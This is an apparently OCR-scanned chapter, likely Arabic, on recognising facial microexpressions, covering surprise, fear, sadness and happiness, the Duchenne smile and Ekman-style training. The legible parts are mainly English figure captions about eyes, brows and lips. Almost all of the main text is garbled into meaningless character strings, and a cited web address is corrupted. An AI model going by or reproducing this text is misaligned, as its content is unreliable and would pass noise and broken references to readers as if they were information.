Jiftll j;iC. ^,^1>nJ AjJa J-asu CjUa^lSl i>i& " jVI tdli ^ > liA jlil jj^ll ^ (j-aLaJl JJ jJJ^ti jW^ ^M^^al" CS^"^ ^ <ln^l 

_4_1^.^<J| tilij J jjjl - ^ ^ I ^jj^J L- 9 JjoJ ^£jl Vj 4 jj^)fljj L_fl JJUJJ ^JjJj^lil! jjjud^j jjill 
JL^II JJAxJl jl ^lxl\ £A . J) <J t — * J^ll ^^JjujI (^illj ^".^ L5 £>\ al^.1 ^J" a <Jjfi j>» Ig-JjjJa ^aJ IgJt^Q CllL&C ^ La a£jjuj 

L-llUaj _ c _^_ial\ ^Clll (J^-J 4^Jjuo3I Jl ^^cUu^-VI (JjjA^JI 44_^ic jl j^-aJ Vj ^-xa <J-aC ^Lal^.1 J 4_l}AxJl j^ 

JISj jlclLail Jfl ;tiL (j-alkll JLJI ^ - V A » " -liuJl" < LaJI li& c_lxl . jjill Jc (j^aSj ^ill 4 JLJI JJ^aII c_u£^i Jl J jj^a jll 

jA UiiJ l^A.iL-aj ^JJ lij 4jI j 4 J JJ^VI .IsjJl <K uLa £tL^al j Jl jl J>^qj -Uli ^Ul^VI li* J lAiau 4jI j±a> J 4jl J 

^Loj^jII jli t^l <u^VI 11a J 

? J AjliSa j (jj^J (jl (j^-<^ ?UjJalc. ULa. <JoLiJj jj^Jjoa ,til3i jc V JJJ^ jj^Jui 4^-!>L^VI (Jj^aaJ lil <j| ui-sj jjjj£juo3I 

JjljlsU 4-l3ljJ (jlS LaJj ^-jli (^^^ I (JJJ.V^ <^ jl£ lit 6L_aj| jll (^^iil! ^C^ll ^LajudlLj JJJj£joJl ^ala C ? *n^> 4^-lJjaJl ^ullill j-d ulaJ 

4 jj£Ij jj£I CliUi^lsLSl Jc jSJ jl j^J ^aJ J^JU -laJJJJ (.3^ CljUi^lc dbJajC 1^1 La 

.l^i j^J ^Llj^ajVI Jc <Jc J ji gaaJI j 
.l^J ^Uall Jl JaJJ jl 6^lc (l^i^JjaaJ jl) C±£ Jll pUjuaVI j-« ^J^*l^ jj^ j' ^ 

(Surprise) SUliJI J_ 

laiijj oL^UaIIj jjatjuil! jU microexpressions JW^ J ^ j ^^1^ j-« ^jaxII ^ j-*£J jj^^ll ^1 tlijl j£i U£ 

(jlaxJ j^.1 j-d jJjujI 6.Aa3 CjI^juj ^3 (iljl (jiajlial .4-joi Jjou» jj^ La Ullc. dL^.ILJIj L_fl j^ll .<jLaall (_>axJ t ^ UjudJ L_fl J^-lLj l^J UaUjjl 

6(3^. V L " ^ J J J^i" <— A JJUJ ^Ijj ^1*J <ilj| \ A£ A llluj I— LlJUdJ tiljl ijjJLJ L— lj£ Clll^ ^-Ic jjVU ^>*Jujj jlS *^ ^xll (JjJ Ja J ,4-JjL^jll (JIaC-VI 

1 > ui jjJ^^JJ lij ,^l jjJaVI Jl t**^ ^ jj ^aJ Al^^li. j^ ( - Lj ni ^ j L_jU1I Cl L^J3 ciljJJ _jjiAll J tiL (j^aLkll ^>aa!I cJ^-^- £y* t**1l<KJ 

! jj^-^)^ jj3^ 

Lo Ullc. ,( JU3I j£jai3l Jajl) ^-C j>»jab<i dil^J ^ ^ Jlk* ^aillj < jj t ^^^ ^^J^ ^ J 1 J^ jj^ '^L^lLill ?C— lAaJ I^Ui 

. jp»l 4il ^3j^ LoAaC oL^-ILJI ^^^gjuoll j^J oL^jVI ^ j-^J 4 J-*^^ C5^W J ^'^ S H (J^a^juall jl SL^iLJ! Aiialc. ( . UjujJ 

The dj (fere noes are subtle* but this is surprise,, not fear. 
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4jV "<iialsJ! 3jI jj" aUiLJl Jc; ^jtUj ^jaSjI Jjl&^l .4_*LuUjVIj cikuJaJl <sujj (j£*J liAj .aUiLJl jjllll j^J fjuiaJI 

. JjVI SL^iLJ! (jx* 6 jjVI jl 4<^jH3I ^jQ^*^ La^ic (j^aJlj o^IxjoJIj L-bJaiJl JlLd 6(_£^kVI t fliai (j-a ^^C- Jl (_£^JJ (jl (j^^ 
j c_j jl 4 ^l^H Asu £jlj j^xjuJ 4jI (JJ^j (jl (j^J SL^LLall -( ^cLg1^.VI (JjjA^aI] 4 a Ajj^jIxJI jUVI 

,(J^u1 J& J^^l J ^ ^Ij^tI AiSaUJl fiifc ttillil .S^UjaJl (jiaXJj 6<*Lu£LVI t^U > ^1 fc*Ui L-lflxJ U U3l£ . 

<ila (jl dllaa.V t^ljjSI _(J jj^ jll 4_IjL^x» J ^L»VI J A J^. J>JI ( ; u£ o Jl Cll^ jjj dllk ^ tdjl^jLauJl (j>» 6,1^.1 j J 

SfilluL^ CijlSj -C5 J <j^aUJI JaljflVl ^1 Cj^Sa ^3 J CillS t'^j^ dul l^jlLui 4±ix-<Jl C5 £a> jj J c_jUill (j* V^J .^ilj^ JtiluiVI 

J (jl*-<<J <*-ulj < laaJl (j>» (j^aJj^J J _<jc. I— la il] I^jAcLoixj J CjI^J ^aJ L_Luil Ul IgJ dlla C±jl£j j (jxa LgiV 1^. 

,^LoJl J£joJI (j^ LdLdJ <£Uui j dj| jjUsu l^J (jl£ 6<j dl^juj j Ia^xjoi ^1 dlL^a j I^jV .-^J^l (jl^ ^ .Ia^xjoi 

(jiajiiixJl ^jxi 46 jl" tl^ka.1 "?U£ (jjl t" ia^a dJla tojI^^J Asu .Ul (jxi ^"^1 >>n ^3 IgJl <^.J^3 1^ SAiajuj JUaloaVI Alia djl£ 

J Cj j^-Salj SjUUI ^pi^" <jjta^ (joix^JI Cjli (> c^IUa Jl <^ jjI jl <ylalj J^ £±i/*Jl£ Jl Jala Ul .HR j l)' 

<j| (> jfill J^ ^ jJaJJ V Jll tSlat^bl SUILJ (Jjla (j^ di^jl -C ^UJ C5^^ SjUjJIj 4^ Jl Cj^l 4<SUJI oiA J ."l^IJI 

^-^-g-j Jj (jl 

jj£l cJ^^ JJJ'g^l ^-JJJJ t j^t.uJIj t^l^a J 6^)fkj| L_jLujj£I Jc (il^cLaaJ L_fl jjuj j^xjuJI li^ (jc A-jLi> gailll CjI jiaaJI <jojjUuJ difl jll ia.1 

: Jj U£ SUI14 ^ 4£jlutA]| A-aL^3lSI jaJI 

(j-o A-ila Lq/jj£i <joj jL<i (jj^j 4-^-1 j^JI (jj-3 toL^lLJI J . JUI cJ^JI J 'u^^V^ ^Vv^' ^^-^1 ^ ^^W^^ a 



The eyes are wide, but even more so in fear. 




"j^l Jall^l iala 1*jP ^Ua^ I^A J j£a) . JU3I JlJJl J (j^ jA IS <J*l£ilj ^31 ^ ^Ja JaL-i ^a ciL o-aUJI c^II 

■ " 6 jjjjjjjjj^" ^ j^^^l ^ k ^ 1 Laic djl!lA^UI (j^»» j ^Ldjoj 

Notice the mouth opening: The lips are not pulled back. 




<juj jLg (JjSj 4-^-1 . J^l lP 3 ^ ^ J ^JaJ ^iiisJl ^jl (jjia. J t^Lkjlojl jj£I oLa-lLJl J laJ (jjiiisJl 

LiA .alLaJl L-L^JUJ ^aJJ (JJjJ a II UK J (j^3j (*JI jl ( 6 ^ 1 ^ ♦ t° 1 (jUjoaVI <— a j^JI J .SL^iLJl J <C jaj-dj/jj£l 

.(j;ljiVI W^^" ( : 1 ^ ^liJall (jl (_^jj 6la.lLJl J 

^ > nill jUaV! ^a Jc cil^cLaaj (jl (j^j 4-jla 64_jojjUuJI ^ (j£3 j _AjI^JI J l_a (jc Ia jjj-gj l_ixj^3I (jxi (jj^j (jl (j^J dL^.ILJI 
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SL^iLJl (jl ji .* V?* dL^IL* j& t^flalU tc^SlbV C5^J*^^ L * ^ ^K\l ^Uijuj .^jjuj jl Aia* (Jj^j (jl st^U^tlj j^xjoJI 

.Jjll liA jl ^jlj V c^ill JIjjuJI jl tjUJl tdi^aJI 

L5 C.\ al^Vl ^j" all -C5-^J^ 4-*Aj^31 Asu jjuU 4jL^JjojI jl <LdLunjl (jLl^Vl (j* ( ; (j^ llA^ ^ T^^H lil 

L-flA^Jl j AcjjudJ ^ (1^*2 ■ JJJ**^ jl^. lit 6L_fl^Jl l_jU Si ^1 q *\\\ ^\^lui\ (jLl^Vl (J^axJ 

(Sadness) lj>JI *t 

t ** v ^ Laic j_5 ^a*^ (j* SIjS .(j^^fcP^ Aj2 (JajjujI <^5^1 Aj^LAj (jLftjuj ^9 ^n^^U ^jlL a (jc 1^)3 1 

.ApJ^l JjaJI jAj AaJ j J^i3l jlS t^aill AialjJl . l^A ^ £>Ap> j jVl 4<jJJ^Ut ^ * ^ l$jt Vj j^J 

(jLaijVl A-ilac -laiijj .Uj tilli J*^ U' clA^ ^ . t "villi ^3 (j^^ ul] A -\f\\ j (j3^1 U^^^k L - J ^> 3tJ ^ 6 ^ ^Ij^ LgAjc 

.tip] ^^ilalxJl (_£ jl^all <U > nj JJjJ (jl (j£-GJj t^Tjjjn <J£juU CS"^ jcLuuJl £>i& (jl C : *n^> 4iLl3l j L_alalxj3l ISjj j UaUjjl <il^3l 

JjJaal cJ^joiJ cJj^l J^l c^C- ^I^cIjujj ^^£3 AilalaJl oi^ 6^1j3 ^Luj L_fl jjuj ,^3^<Jl (j_)^l t fljikJl 4_^.l^)3l ^Ac (j>» ^jIjjj (jl (j^J (j_>^^ 
(jxi J^x-^i -^J^ 3 clA^ AiJalxJl (jxi c fljjja (J^ajC pj laJ > n ^alxJ jcLuLa (jc (jjJ^-Vl (^jl^xi 

jCg cl ^1^1 (jjj^i^£ <J > <aJJ ^^lll (JjjUII ((j^JU IflJJ j UaUjjl iaJJjJ^ 

A£jjoJ1 JJ jJJ^ A£jjoi ^^ic SjLjall ^1^)J1 (J^asu Jj^^l clA^ Jj^j C5^) J J^^ ^ jl a ^1 C^*^ ^^-*-^l ^ J 6^ Cllli 

# a£jjoJIj jl^a. c5l ^1 ^j/^Vl p^^Vl <J-^! £y* OJP^ cs - ^ ^j^l j^f^-1 (3-^ a^jjoJI ^^Ijl .USB ^^-<i ^1,^1 uiU 

LLoS t^^^Jjjai j Ul ,l^J*jia A3 "A-iilill ojJjoJI" (jxi (JJ5 JAsu l^J^Ld t(_^ jIaII (JJjll (j-« ^ Cl I^joi^I t^jc 4-laJjj (j <aJ ^'^ ^I^jjU du3 

A£jjuj Asu (jc <J jj^ jll 1 llLaxJ (jl I^jLuj (jxi ^^jll <li±kjl <Aa ^j;^ CjUuIxjII (j-d A x 4i jQ^ a Ajjlill ojJjoJIj USB (Jaa^JL 

."JJj" ^jujU t—fl^J jl tl^ilc jiill lij <j^aLaJl jL^ajVl 

dil^ ^ # 4_jjli31 JjJjuJI (j>» aI^xJI ^L^Jl £ja*\ (jgk 0 j^-all (j-« (j^^ ( uiSl t^jLiJuj el l^la tA^jJolU (j^aL^Jl CjIjLiuJI ^1 du^i 

jjUsu J (jl£ _c LiaJl ^rj^Ml (jjjj j ^J^^^ jW^V ^ >^ J du£ .l!- 0 *^ ^b^^ U3^^ L>* ^-f'-"^^ J ^jV q ^ djUjlaui dbJajC ij^ti 

liU 

True sadness is complex but also creates an emotional bond. 

■ 




Ul .t^Uil ia3 (jia£jj 6*Lnj^a«Jl (J^asu ^ JjSl du£ jJl l^A llA <LlLi ^^ic L-jL^a^ lj^-1 J jll *^J^ J-^l (j^ iUalc du£ Aal" 
(jjoi^J -C ^J 4 > ^al ^ 11 Ajjlill JjJjuJI Clul >^il j ^AxLi C5 lc l^idl^ (jxi ^ j^i L— Jaijuj j dlSj^Jl tillil t^iVl <J (jaJl (jl ^jl V Ulj t lala^l L_l^l 

."4_Jjli3l S jJjoJI JjS p jjuJ (j£3j tiaill c_jlc tJ^Jl 

'ToAcLoiaII 4j ^LjSII ^V^< <Lj fj'^\ Lo .^afl j^l li^ 46jl" 
j C5 lc ^qjq^ll (jjaJl dLftS ^aJ " ?cilLja3 (j-d tiaia J 6^.1 j 4^ mi AcUla cili^oj (Ja -C5 J (J^alA USB 

.USB <ULJ IjIj 
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Qu\>\ jl A-lLluil ?tiL*joi! La" | j-aVI cJ^-J J (Jli ^aJ /'JU^jVI ^2 (J C5^J^ L)^ ^J 1 ^ <lLuiJ dlilljj tfiA^lj <C.Ula ^aJ CA AxJj 

."liA tiljj j^. SALaJl 

.XYZ 1 1 :00 ^LuJI .>y j J y 

." l_jL1I ^ ABC. XYZ ^ .tii^ Ujj jj c^jI t^^^ 

# a£jjoJI a£jjoi Asu jc <JL^jI ^ tAi^. j^*-*^ 64_xiLa£ij| a-g L — ^ 

<sujill dljl£ lili _L_fl j^Jl jl j^*^ J£ laJ jl j^-GJ (jaifl 6 JJ J^ib ^>*-^ LaAjC jU^Vl (J^AJ ^3 4jS (> — ^ JJJ**^ l^A ^alA^lLail Ale jA^.1 
(J ^« IjAa j£ .4 ^lla a (JjLujj (JLojjI (j^J lAfc 4 j^^Jl j^xjuj laJ tilj^lj ;(J>ixi3 ^IAlIuiI ^^-icj t^jlxJaxi tiljl ^A tiL <j^aL^Jl 

^jjjA^-xi ^Jj^l oj^l ^^A 4^. jll Cjljjnxj ^jiajCj t^Lodl o^lcjj to^ljS ^3 .d jU j£-<JI (j-o AjAslSI a-o .Vq-y ^ J^f*^ u3^^ 



Even slightly downturned lips and raised cheeks create a clear picture of sadness. 




If the rest of the face shows nothing, sadness is still in the eyes. 




jl J JJ^^^ . IAaC- AU l - ) ^^>^ L>^ 2^3^^ ^ a jJ j^-<^ (JjjUII j-d AJa j) j-<^l Jj^^ll .(^LoJl j£jaJl 
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.<AS±A JljJ V (jjJC 



Eyebrow tension can indicate sadness. 




V (JjjUII (j-a J^Jl (jl L>*^ JJ-^ 1 -^ ^J^^ ^ .U^V^ ^ ♦ * * ^ 'OW* 6 ^ .L_aialx!i3l jl (jj^-ll L>^ lS^^I c-Luul 1 j£ dJ LaAaa. j (jjj^^l 

Llalau j) l,lia. 11a l!*^ (J' AjujjLaxJI .^J^ti JJ*^ UJ^ <J*^ Cfl 

(j^J (jj^J .^•^juJI llL>^ 4-^'-^*-^ lP 3 ^ 3 ^ L^l^ UJ-^ 4-^^ AiJaLtJl (j-a <J*-?^ L$'^ L>* ( ♦ ^ 

4j.<u.h) La jl aIa^LujIj (jj^-ll (jjl ^ (jjj^l _iaaa *La. jll (j* ^ j^. j ^ O^J^ . 

AilalxJl ^^ic 6j !n Jul 11 (jjl J^-^ <J J^' llA^ J 6 <J ^ 66^)JujLiA ^LaV! ^Aaall L— Ll^ "'(^1 JJ UJ^" 

j^ laJ ol^Jl £>aA j5l t ftj^aJ ^^-laij Ldaic (j j^Jl S^aLuLg aJ 4_lLaJl .^Llll <J£juJI (.5^ &^>^ -W^ UJ^A? 

^jjiaJl ialLajj <iUi£j !>Ula 1 g ma a*_aj Jaa»V , Jai-a lfrg-a.j (j* ^J^\ t^C- dla^V (JJ^J (jl (j^-aJ LL>^ L>^ a a 1 <*-lL<i!ylc 

.(jlaliaJVI jaj LI jj (_£JJ ^ >1< ^Jj 




< . UjujJ (jl (j^-oJ (^^1 jcLolaH (j>» Lfc JJC-j L-lxIill (jjJ JJJtMI lal^J IjJJ^j _(jjaJl 6^ljl3 CjljjujjxJl (JjJaSl (jxi 6^.lj (jjjlxJl 

. jivl Aiialc. ^al (JJ^v liA <jl£ lit ^J^J ^^Ic ^cLaJ U-kaj| jll ^^Jc IjL ^ ,^n^ti AJtl JaJj (j^-AJ .<!jUui (jJC dll£j^ 
_(jjdJ^LJl jll (j-d J;!^! C— Ll^ dililaiill Lujuj V J .c5^)^-^l dililijll £A J-dlsUJ L— n£ lij <j^aLa l^J^ > ^> (jj^J (jl (j^J I^A 

a Jaflfl (j^aLkjaiVI (jj^C- ^JJ I UJ^ ^ J L>* J^^^ SIjaII ^ laiu dlia. Jajoa jVI (JJjoJI ^ dililajll (j-o ^jAslSI 

. C5 liiaJl (jjaJl I^A jl£ lil ^j^j3 Loi^Jl <sl! a I iklujl I - gaJl ^gcl <lL^VI j"^ <A1 <Jjou31j AjIslSI ^ «1\ (j>» jj^j-" CjVI^JI 
4_llaau jl (JUJU ^Jfill ^l^^j ^-^1 (JjjUJI cJ*^ ^?^JH ^lcLdla.VI <juj^JI (jj^Jl ^ iklu^J La Ij^ 

(jpi (jjjlsu JliLVI e-VjA (j^-<^ .1^ (j^ J^>^^l L^-^Vl j^-!aj LdAic. A-ijjjjili3l djU!>lcVI IgjLal A^LujI l_ cilli ^lj . dsLo jlx-<Jl 

ojjj^ll (jli , (Jilall ^La. j ^^ic 4_xiLaalj| t . llaJ (jl til&aj Jjir > ^JJJ (j^ J '4-3 jj^ * J^C. j^JJ ^^ic j 4L_J j£ixJl J^ill j AjAxjII ^ jjuj 

^j! laaa tSjLjall AjcI aia.VI ^LojI^JI djU^VI (jl ^j^l V Ut .^Uil c_j jSS L-LauoLj jjuj JIj^JI JUlaVl j j t^jjjaJI 

,d fl^^Jl (j-d cJ*i ^j ^^ic J jj^aaJl ^giLlx]! ^Ujlt ^lAklajU tUi ^1 AjC.Ldla.VI *Loja%il jj^a,^ IujJ 
4j^a3 Jalk (JJjia (jC !>liLa .AilaAl (j-d ^.UjuiVl J jj^aaJl ^aUUU jljjll liA a iklLuJJ La LJlc. L— U±kj| c _^C.U»la.VI J" aSI tt^joabl! 

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^jj^j^^^j^^^^^^^^^^^^^^^^^^^^^^Q^^ 
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(Happiness) S^UuJ) J_ 

cjUUIuj! ^ Jxi j j ^ microexpressions J ££lJa*]| J >>S ^Ij <>£jt jj^t i> 1^.1 j IV s 

6^.1^)3 ^^>a*xi '(jVl ^ > nlil Lojj 

6(jj£auJaJ (jj^a.VI (JjjUII £-ojoiJ La^ic a flj£ ^jj!La1I ^ <j| AaJ V ?cila > >ij <JiIa JaJJ La^jc ^ulij ^hiVi <_£JJ <jl c^I&aj > djl 

e lAa> ^£-a j 4_LaA jll j AjjjjaJl ^LulLVI Q£ (J^)^ (J' 4 ♦ ^ ( ♦ \ Ul, Jj .^J* J S^IxjuJI Cj^UjuLq 

^IS .Loij ja ^UjI 2^ ^ l^j ^ jL jl£ ^ill cj! jUikVI t> ^LuLi jo s jU^ ^ j ^(Mechanism of Human Physiognomy) 

/'Aij^ *L<iljailj|" q^jxj V (jlS lS^-^^ (jl ^jjl t^tunjjl <JjojL1a3I Aj^LjaC ^J^> ^AaJLuoJ 

^ij JiLa. ^ 11a jji^jj dj±a. tSgjg^ti ^ /Ml ^joujj " (Duchenne smile) jji^ ^ 

jW^ 5 gr^J 6 u^^ ^^JJ J ^Ij^l ^ ^ ^ Oj^kJI ^ijj ^zygomatic major muscles l^ik jki^i ^1 t^ill Uljj 

4^LoujVI jc- 4 jgjq^ l <xiLa£LVI Jj^aL La I^Aj LjI jl Jaxj j] 1 g l£ oj V ^1 j ( j^ljJI J ja. cj!)LjaxJI) orbicularis oculi 

With the Duchenne smile, the mouth is raised, and the eyes are involved. 




; The "social smile" does not involve the eyes. 
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t*ltta ttiUi Jl AiLjaVU .1^3 Ajjj ^.iSalaiJ V L_u£ j] Italic ^ pj.T.ui3l ^jj jl aJ jll ^ .Ai^L^all ^LuUjVI CjUjuj 

iaia ^Viun (j-a^JI li& i j\ j" 6 jiLj cilJ] V ^ ^UJI (j-a^JI jli ^jqjq^ j^I/a^Lu^VI ^LuujVI (>aj^ di^a lil 



JA\ jSlj a_i^ j ^ ^I^ujVI tsllsa lil ^orbicularis oculi ^^ac f^^j V j zygomatic major 

.AjjjlLaJI AilalaJl laJ V ^l jxj£LujJ AiV ^LjjVI 
.tilli j£ Jxij Aibl^all 4^lunjVI .AiiilU 6JJ^ ciljlii^U till jkjj Ujb j tS-li^ <!L^J J*-*-^ ta > >nn L_fl^Jl (Jt^J ^jl -Ijjj <nXl (JJJ'Vlg ^ 

C5^) ^J^A? uj^jj ^b^J" 1 ^ 6 J^j <<j^J-^ '"The Value of a Smile: Game Theory with a Human Face" 3-^1 ^k 

■ http://www.sciencedirectxom/science/article/pii/S0167487001000599 <Jk& *J^J cs^J* 

,^^kVI jc.Lui.a3Ij 

{jgk jJ^fllll ^^ic ^joiijl L_13jJj ^ j£ ^jiaxJl tilLiA ^jl ^1 JjJjoiJ <JJ.laJl CjL^jVI (jl (^^^ U^J^ t° L>^^ JJ^ 1 ^^ **— ^ t_3^ 

^jl (JjS ^3 -c>5 ic.V L_J i o>Q ^^giijudll (ji^Jlj t^jj^Jl ^ J^J>» 4<LjJa (jjJC J>ujjj AjljjaJI A^LulLVI .L- l^L ^aatJI d^A (Jjiuaij ( . UjoljJ ^^^joi 

. Jtall JS.ui11 (Jji LeS t^aill ^1 JJ«JI 6<K A^. jll C5 lc ^ A-jljiaJI A^qLulLVI 




.l^oj tillx^j ^ jj^qMI ^ I^jI 

^jJajxj j& Lft£ 6tiL (j^aLkJl olijaJl tjljj ^jl 



Notice the way the cheeks are raised bringing the lips up in a smile. Hie sincere smile involves much more of the face — the mouth, the cheeks, the chin 
-and some blushing may even occur. 




.(^Ull J£ai3l jJajl) ^SJI L_j| JC. till ^CJJJ Uui ilA)W. ^k^ Cilli .ciL^ (^J^ '(j^V^I Jj^J 

Hie eyes are where we see the true happiness. 
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U JaJ LoK .ialalxll £>3& Lnx-a^l l^J ikfc Jill 4-ii£ll ' . y-y 13* .ai-xjai jj£I (jj£j 

L_flj£ (J^LaaJJ (jl (j^-oJ 6<Jj^a3l 11a J S^jl jll dlLa jlx-oll aj^?* Ss-ljiJ Axj ,<ilalxll o3& (_£ J (jl 4-1 > >1J 1 Ujli ^ ilal xll o3& Jl 

. jcLuLoll 0^£J L_flljIicVl <JuljLu» dJ 

_<ij^3| ^LdLaUjVl (j-a AjiblaJl <LaLaUjVI (jjiJ (j^J (jl l_axj^1I (j-a <— fl AAl (j-<^l JJ-^^ ^-^ L>* LS J^*-^ c A-ilaiLL t_La3 jl 

.Ajaj&aJl j 4_LoA jll ^jJa jj Jill j u . llai Jl Uia. iA «s > >tl j u <aJ Jill (jjjxll (J^^J ^ J*^ L — ljuJ j 
(J£juo3I a i uJJJ (jl < ■ UjujJ (a^i nflJ) (J^.1^ (Jtxijl Jl til!3 L£^J^ U^"** 6 sJ uj J^ ^J°/ Q ^ 4_x»Lailj| (j-a^juill (_£^)J La^JC- 

.'LqLuUjVI £>3& J 4_l£ ciljLSu t flj£ Ja^V *LaLonj| x-a S^txjuJI cJ^J^ l^A laJ 4 Jill I 

^^cLol^VI (jjjAi^-oll .dlLa jlx-oll (j-a 4 n aj AxJaS j& Ljajl A-ilik^. <LaLa£ij| j L_flLuu£l <li^)x-a tAjcLol^VI A m, Vigil Jaj j (j-a 

^jj^lc | jjl£ $,1 jjoj J J (jjni,V^ a\\ ,L_fl^JI Jc ^L^jI jjiSu ^£1 IgJ (jj^y ^lli j t<! j^juj ^gk \ ^ t > >i jl la^A ^jjj 

4jiL Jc jjjj (jl (j^jj L - J j^^ dj!>LkAA3l 
l^l^ki^i i^ji microexpressions 




(Training Yourself to See Microexpressions) ^jj ^ 

ujA? microexpressions s*l 6 u^^ jj^^^ j^^ (o^) jj^^ &\*J ^ L ^^) Lie To Me 

liLal till (Jj^J (jl ^ ^ <oJ o^lc 4j| j& (JjoAAaII (j-d ^)^l Lgj t.^ 
dil udlaJI ^aLal (jjj jl^Jl ;(j^£j| jjj£JI JLd tjL^xJl I^A J <^i3jl L>^ L -y^>^^ ^U-jVI (j-« J^^l (j|-3 toLi^Jl £iilj J (j^3 

^ a Jc J^la ^^.jVI Jc ~y gaJ 4_a^>J| oi^ J-oxJl (j-d d^j^C CjI jIoj ^su . jUal jUal CjIjj^II (JjI^Jj (3f^*^ l!^-^ 

^nUl Sjjill (jjill ^^xj J^ lJ^xj dii^ Jl^j ^jj^ Jxi 1970 J .Sj^ a^j^ij microexpressions JJ^j JalSslI 

^i^a J£aij microexpressions JJ^ j 
j <1loj j (j^s microexpressions l!^^ ^j^jj^I SjjSII <^jL^a Ajill (j-<uia xij V lio j^ll (jV 

L5 lc ^ill ^ c_±JLojV! o^xj CjI ja ^3 . J ^l^aj U Jjal jl ^jI-iuh ) .microexpressions ^l^i^l j tS^I jSj tpbi jlislj 
(jp» cjUa^.!>L<JI x-<i AjLauU dua c^i3l jjjtMl <jjlL» tol^JI ^I^jjujU CjI jjjjuII ^1 uinml aJjL^g m ^ microexpressions 

. J^cLalJ lllilll ^^^^j ^ J^-J (jV <^13ij ^J^' (J-^^ C5^^J ^ jll OJjj^II (_^J (jj^J 6^lc ,(il3i ^aJJ I jiL ^ (jJ^il (jjlii^Jl 

^JaUx Jj^iij jAiij t ^>*_^l jlx^j I1a j£ jl jli microexpressions ^U^l J j^- <!U^ jjl ^xail a*j 

t 4 qjl c alal ^x!U ^>»-^il (jl J < . IAjujJ ^JjJaC. CjI^^)^. Ji^. 6 JJ^ > 

^Lxil^)Jl jl jllkVI cJ^^^ t^LixJl 6 jiaaJl , jjj^II (ilij J C-iljJJxjSl Jc L_fl^xj3l AJjL^dj jjj^II (jC liaJ ClljjljVI f I^LujI (illi Asu 
131 La Afl ^>x-a] 4 , aSH Jl ^LalaiVI ^ 44iLlxJl ^j^j (j£-aJ (jl^ 131 La Ai^xxJ <!La Cj j> x^a AjjilaJ A^^)^ (J 1 m .a ( ♦ J *SHJ^3^^^ 

Jill cAlal ^xll Jc L^^xull <1 jLa-a j (jiaxull ^ > >it J x^a (JjjUII (JclflJ AALil ."^-LiJl x^JjJal j-all" x^a J-axll Jl (^^jJ 13^ .W^J^ 

,^jLaiaLLa ^.LjI l^J (jj^XjaU 
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J cilli Jxi 4J jU^ jl j JjI j& 4_^UJI jl!hU^ J microexpressions s*lj5 (jy Jail li* ^ jUikl J 



< . ijl a (j>» lalaJI Jc <J jj^aJl (JJjJj jll J^-*-* J-^ t — "J^ ^ .iJ&^l * Aj^Ia^ <J*-?> J^ J^ J] ^ UJ^ ^£ 

jjj£.lll pill] 4_j^ajill Al ^Iujj jl (JjS Ig *>lklLujJ j! ^Ucl 6^.1 j <^A L_flljAll l^lkluil jll <LLuJI <L Jail o^A .c5J^>VI Cj^lkAAll 
(J-gjoij .CjI JJJ»*^I a^A j S^lcl J ja CjbLujjj b jlaaJ a jll L-L&Jl AjJ 6<jLaJl A-xJflaJ ( . ull > nl Jj IgJLa^lj (j-o£jl 

11a Jxii Emotions Revealed s-j^ . jcUUI tilt jg-laj Jll jW^VI J Alial ^jc ^Liaa L_alal j»JI j^Jaj jj^ 1^1 

.^1*j11 6 jUL<Ui <^A J^lj l-^> t * a J*^ * 

tdijjijVI Jc^ <*i j-q Jc^ microexpressions ^ 3 >^>^^1 l-lsjUI! jl-i^l? ^IS j o-^l jj^ll jjia tSj^VI il jiuJI J 
s jL ^lxll 11a ^Ixjj (jjjUll c jSaj Jll Aijjiall dj jac. Jll ±±*jsA\ 5iliL^ ^1 jj| aj^Ij <jJ < www.paulekman.com 
^u.^ l >L >aj j jj^ill microexpressions £jj J£ o& Lajj (> v^ .. i^ t J^ (Ekman's training) Cy^) s^j^ 

S^aLuIa j ^isLil CjS jll (j* Jjll^ll ^^JjouJI s-LjaS Asu , jjjtMI I^A J tiljLuU *La jll (j* t — ^ L£J^ U^*^ JJJ**^ J^ 1 -^^ (J-iiLjujj S^tcl 

2^ .microexpressions u' ^ ^r^^ J-£^ -C5^^ j^-^^ ^ t jj^ill ^JaliL 

^1 <^.L^. tilliA dj\£ lij .^i^u^aj jl A^lii ^^ic J jj^a^JI u^-^ tl^jajc c _^i3l microexpressions (>< ^ ii^^ll - ^^..^u 

^AkjjauJl j(g laJ .^J^ > (_^l ^aJJ V ^l^ill (jl I ^ -c^ V^^ J^A^^^ ci^"^ (j^ (j^^ AjIjAS ^ ^JjI j ^AaJLuaxll ^ j> (jl Asu 

jjSsl jUaiiVI f3 microexpressions ^ ^ c>j c> 25/1 *^ microexpressions 

.microexpressions *\ J* ^ ^ u' <^ ^ o-a^ll ^IxjII ^^1^ c> ^JJ^ ^-jlji^ (i^>*^ u' Sbl 4-iijA^ll (j^ ^jill Iaa 
'microexpressions jS ^ ^ ^ ^ c> ^ j^' yr^ <1UJI tAjj.^ U .^ ^ Xiaa ^j^jI jjj^aII ;a^I j jja^j 

teltt cP*^ microexpressions 

I ^ill djS jll jjSjjIIj J^iill AjjojUJI AilaUll ^U^J laJ j^la (jj^il - Ikluij ^Ij <!l*ill JjpJl/^^kll (j-d oA^lj 

4^jLoj dlSj ^ j£i La£ .Ajjjka ^LdLoaijI daajl ^^jII S^IxjuJ! <Ja^J ;<JHa3I J-iJjuj ^^^ic ,1a jjjj^j ^1 ^-ll^Jj jcLauJl (iltL La^. (jj^xjau 
Ailalxll cilllj Cj^)Xjal LdAjc oj^lill A) (jl£ lij (j£l j to^lstjaillj li^. ^xjoiJ V li] IgjL jj lA^. L_IXj^3I (jxi A-ilik^. ^LdLalljl gj) > .^ij 

.(Jclilij J^ili L_ 9 jjuj tilj^^jJaC (jli 

.^1*11 AjjouIU 4ilAaa ^ij Ullc. liUJ .tilli pIjj < ; ifudll o^ljS V t jcLIaII S^IjS ^ ^-j^ u' clA^ ^ J^^ 

V 4j! j c_Ljaxll t jlaia.VI j jaJI Iajj tdjli <1 microexpressions ^IjL jl .ajjs ^uiSalc; Jxi a j^j 

^jj jiUJ Jjsl V jjitjII (j£l j t jcLixJ! (jc j^tjII iaiijjj microexpressions. **\J* ^1«j du£ UiAjc jSisl s.^-n <Jaij 
tdjIjUxll Lpasu s^ljS ^ "(jin-o" U Aa. ciiaaj^al ^ microexpressions J jV ^-jIaj ^l lJjc;! .5iLUll o^aj^ 

SAia. ^AJ^aJ A3 _ (^^C-Axi jl ^Uald (jj^J V> ^A jAaJl j tAkilaJl (jC (jj^J La Asul I1a (jl (jxi Jc .cJ^*H C5J^ c — ^ J L " J ^> 3tJ ^ 

